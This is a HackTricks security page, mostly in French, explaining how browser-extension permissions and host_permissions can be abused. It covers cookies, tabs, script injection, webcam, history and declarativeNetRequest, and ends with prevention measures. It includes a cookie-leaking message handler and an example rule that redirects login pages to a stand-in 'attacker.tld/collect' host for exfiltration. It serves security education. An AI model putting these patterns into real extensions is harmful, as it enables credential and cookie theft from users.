BrowExt - permissions & host_permissions

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks

Informations de base

permissions

Les permissions sont définies dans le fichier de l’extension manifest.json en utilisant la propriété permissions et permettent d’accéder à presque tout ce qu’un navigateur peut atteindre (Cookies or Physical Storage) :

Le manifest précédent déclare que l’extension nécessite la permission storage. Cela signifie qu’elle peut utiliser the storage API pour stocker ses données de façon persistante. Contrairement aux cookies ou aux APIs localStorage qui donnent aux utilisateurs un certain niveau de contrôle, le stockage de l’extension peut normalement seulement être effacé en désinstallant l’extension.

Une extension demandera les permissions indiquées dans son manifest.json et après l’installation de l’extension, vous pouvez toujours vérifier ses permissions dans votre navigateur, comme montré sur cette image :

Vous pouvez trouver la complete list of permissions a Chromium Browser Extension can request here et une complete list for Firefox extensions here.

host_permissions

L’option facultative mais puissante host_permissions indique avec quels hôtes l’extension pourra interagir via des apis telles que cookies, webRequest, et tabs.

Les host_permissions suivants permettent essentiellement tout le web :

"host_permissions": [
"*://*/*"
]

// Or:
"host_permissions": [
"http://*/*",
"https://*/*"
]

// Or:
"host_permissions": [
"<all_urls>"
]

Voici les hôtes auxquels l’extension de navigateur peut accéder librement. En effet, lorsqu’une extension appelle fetch("https://gmail.com/") elle n’est pas soumise aux restrictions CORS.

Abus de permissions et host_permissions

Cookies

La permission cookies permet à l’extension d’accéder à tous les cookies du navigateur. Dans this blog post cette permission a été exploitée via un script d’arrière-plan vulnérable pour compromettre une extension de navigateur et fournir à l’attaquant tous les cookies du navigateur de l’utilisateur victime ayant accédé à la page web malveillante. Le code vulnérable renvoyait simplement tous les cookies :

chrome.runtime.onMessage.addListener(
function(request, sender, sendResponse) {
if (request.action == "getCookies") {
chrome.cookies.getAll({}, function(cookies) {
sendResponse({data: cookies});
});
}
return true;
}
);

Tabs

Moreover, host_permissions also unlock “advanced” tabs API functionality. Elles permettent à l’extension d’appeler tabs.query() et non seulement d’obtenir une liste des onglets du navigateur de l’utilisateur mais aussi d’apprendre quelle web page (meaning address and title) is loaded.

Caution

Not only that, listeners like tabs.onUpdated become way more useful as well. Ces écouteurs seront notifiés chaque fois qu’une nouvelle page est chargée dans un onglet.

Running content scripts

Content scripts ne sont pas nécessairement écrits statiquement dans le manifest de l’extension. Given sufficient host_permissions, extensions can also load them dynamically by calling tabs.executeScript() or scripting.executeScript().

Both APIs allow executing not merely files contained in the extensions as content scripts but also arbitrary code. La première permet de passer du code JavaScript sous forme de chaîne tandis que la seconde attend une fonction JavaScript, moins sujette aux vulnérabilités d’injection. Néanmoins, les deux APIs peuvent causer de graves dommages si elles sont mal utilisées.

Caution

In addition to the capabilities above, content scripts could for example intercept credentials as these are entered into web pages. Un autre abus classique consiste à injecting advertising sur tous les sites. Ajouter des scam messages pour abuser de la crédibilité de sites d’information est également possible. Enfin, ils pourraient manipulate banking websites pour rediriger des transferts d’argent.

Implicit privileges

Some extension privileges don’t have to be explicitly declared. Un exemple est le tabs API : sa fonctionnalité de base est accessible sans aucun privilège. Toute extension peut être notifiée lorsque vous ouvrez ou fermez des onglets, elle ne saura simplement pas à quels sites correspondent ces onglets.

Sounds too harmless? The tabs.create() API is somewhat less so. Elle peut être utilisée pour create a new tab, essentiellement de la même manière que window.open() qui peut être appelée par n’importe quel site. Pourtant, alors que window.open() est soumis au pop-up blocker, tabs.create() isn’t.

Caution

An extension can create any number of tabs whenever it wants.

Si vous examinez les paramètres possibles de tabs.create(), vous remarquerez aussi que ses capacités vont bien au‑delà de ce que window.open() permet de contrôler. Et tandis que Firefox n’autorise pas l’utilisation d’URI data: avec cette API, Chrome n’a pas une telle protection. Use of such URIs on the top level has been banned due to being abused for phishing.

tabs.update() is very similar to tabs.create() but will modify an existing tab. Ainsi, une extension malveillante peut par exemple charger arbitrairement une page publicitaire dans un de vos onglets, et elle peut aussi activer l’onglet correspondant.

Webcam, geolocation and friends

Vous savez probablement que les sites web peuvent demander des permissions spéciales, par exemple pour accéder à votre webcam (outils de visioconférence) ou à votre position géographique (cartes). Ce sont des fonctionnalités avec un potentiel d’abus considérable, donc les utilisateurs doivent chaque fois confirmer qu’ils veulent toujours cela.

Caution

Not so with browser extensions. If a browser extension wants access to your webcam or microphone, it only needs to ask for permission once

Typiquement, une extension le fera immédiatement après son installation. Une fois cette invite acceptée, webcam access is possible at any time, même si l’utilisateur n’interagit pas avec l’extension à ce moment. Oui, un utilisateur n’acceptera cette invite que si l’extension a réellement besoin d’accès à la webcam. Mais après cela, il doit faire confiance à l’extension pour ne pas enregistrer quoi que ce soit en secret.

With access to your exact geographical location or contents of your clipboard, accorder la permission explicitement n’est pas nécessaire du tout. An extension simply adds geolocation or clipboard to the permissions entry of its manifest. Ces privilèges d’accès sont alors accordés implicitement lors de l’installation de l’extension. Ainsi, une extension malveillante ou compromise possédant ces privilèges peut créer votre profil de déplacements ou surveiller votre presse‑papier pour les mots de passe copiés sans que vous ne remarquiez rien.

Ajouter le mot‑clé history à la permissions entry du manifest de l’extension accorde access to the history API. Cela permet de récupérer l’historique de navigation complet de l’utilisateur en une seule fois, sans attendre que l’utilisateur visite à nouveau ces sites.

La bookmarks permission a un potentiel d’abus similaire ; elle permet reading out all bookmarks via the bookmarks API.

Storage permission

The extension storage n’est qu’une collection clé‑valeur, très similaire à localStorage que n’importe quel site pourrait utiliser. Il ne faut donc y stocker aucune information sensible.

Cependant, les régies publicitaires peuvent aussi abuser de ce stockage.

More permissions

Manifest V3 a scindé l’accès aux pages des permissions d’API : permissions gouverne toujours les APIs privilégiées (cookies, tabs, history, scripting, etc.) tandis que host_permissions contrôle les origins que ces APIs peuvent toucher. MV3 a aussi rendu les host permissions runtime‑grantable, donc les extensions peuvent être distribuées sans aucune et afficher une invite de consentement plus tard via chrome.permissions.request() — pratique pour des flows de moindre privilège légitimes, mais aussi abusée par des malwares pour escalader une fois que la réputation est établie.

Une variante furtive est declarativeNetRequestWithHostAccess (Chrome ≥96). Elle fournit la même puissance de blocage/redirect de requêtes que declarativeNetRequest mais shows a weaker install prompt que les host permissions <all_urls>. Les extensions malveillantes l’utilisent pour obtenir silencieusement la capacité de “block/redirect on any site” ; testez les invites avec chrome://extensions/?errors et chrome://extensions/?id=<id>.

declarativeNetRequest dynamic rules permettent à une extension de reprogrammer la politique réseau à l’exécution. Avec l’accès host <all_urls> un attaquant peut weaponise it pour détourner le trafic ou data exfil. Example:

chrome.declarativeNetRequest.updateDynamicRules({
addRules: [{
id: 9001,
priority: 1,
action: {
type: "redirect",
redirect: { url: "https://attacker.tld/collect" }
},
condition: { urlFilter: "|http*://*/login", resourceTypes: ["main_frame"] }
}]
});

Chrome a augmenté les limites de règles MV3 (≈330k statiques / 30k dynamiques), rendant possibles des jeux de couverture importants pour l’interception/injection de publicités.

Modèles d’abus récents

  • Supply-chain trojanized updates: Des comptes développeur compromis poussent des mises à jour MV3 qui ajoutent <all_urls> ainsi que declarativeNetRequest/scripting/webRequest pour injecter du JS distant et siphonner les en-têtes/le contenu DOM.
  • Wallet drains: L’accès aux hôtes combiné à storage et tabs permet à des extensions wallet backdoorées d’exfiltrer les seeds ; des clés API volées du Web Store ont été utilisées pour distribuer des builds malveillants.
  • Cookie theft: Toute extension avec cookies + un accès hôte large peut lire les cookies d’authentification malgré HttpOnly — considérez cette combinaison comme capable de voler des identifiants.

Prévention

La politique des développeurs de Google interdit explicitement aux extensions de demander plus de privilèges que nécessaire à leur fonctionnalité, atténuant ainsi les demandes de permissions excessives. Un cas où une extension a outrepassé cette limite impliquait sa distribution avec le navigateur lui‑même plutôt que via un magasin d’extensions.

Les navigateurs pourraient encore réduire l’abus des privilèges d’extension. Par exemple, les APIs Chrome tabCapture et desktopCapture, utilisées pour l’enregistrement d’écran, sont conçues pour limiter les abus. L’API tabCapture ne peut être activée que par une interaction directe de l’utilisateur, comme cliquer sur l’icône de l’extension, tandis que desktopCapture exige la confirmation de l’utilisateur pour l’enregistrement de la fenêtre, empêchant les enregistrements clandestins.

Cependant, le durcissement des mesures de sécurité entraîne souvent une diminution de la flexibilité et de la convivialité des extensions. La permission activeTab illustre ce compromis. Elle a été introduite pour supprimer le besoin pour les extensions de demander des privilèges d’hôte sur l’ensemble d’internet, permettant aux extensions d’accéder uniquement à l’onglet courant après activation explicite par l’utilisateur. Ce modèle est efficace pour les extensions nécessitant une action initiée par l’utilisateur mais est insuffisant pour celles requérant des actions automatiques ou préventives, compromettant ainsi la commodité et la réactivité immédiate.

Références

Tip

Apprenez et pratiquez le hacking AWS :HackTricks Training AWS Red Team Expert (ARTE)
Apprenez et pratiquez le hacking GCP : HackTricks Training GCP Red Team Expert (GRTE) Apprenez et pratiquez le hacking Azure : HackTricks Training Azure Red Team Expert (AzRTE)

Soutenir HackTricks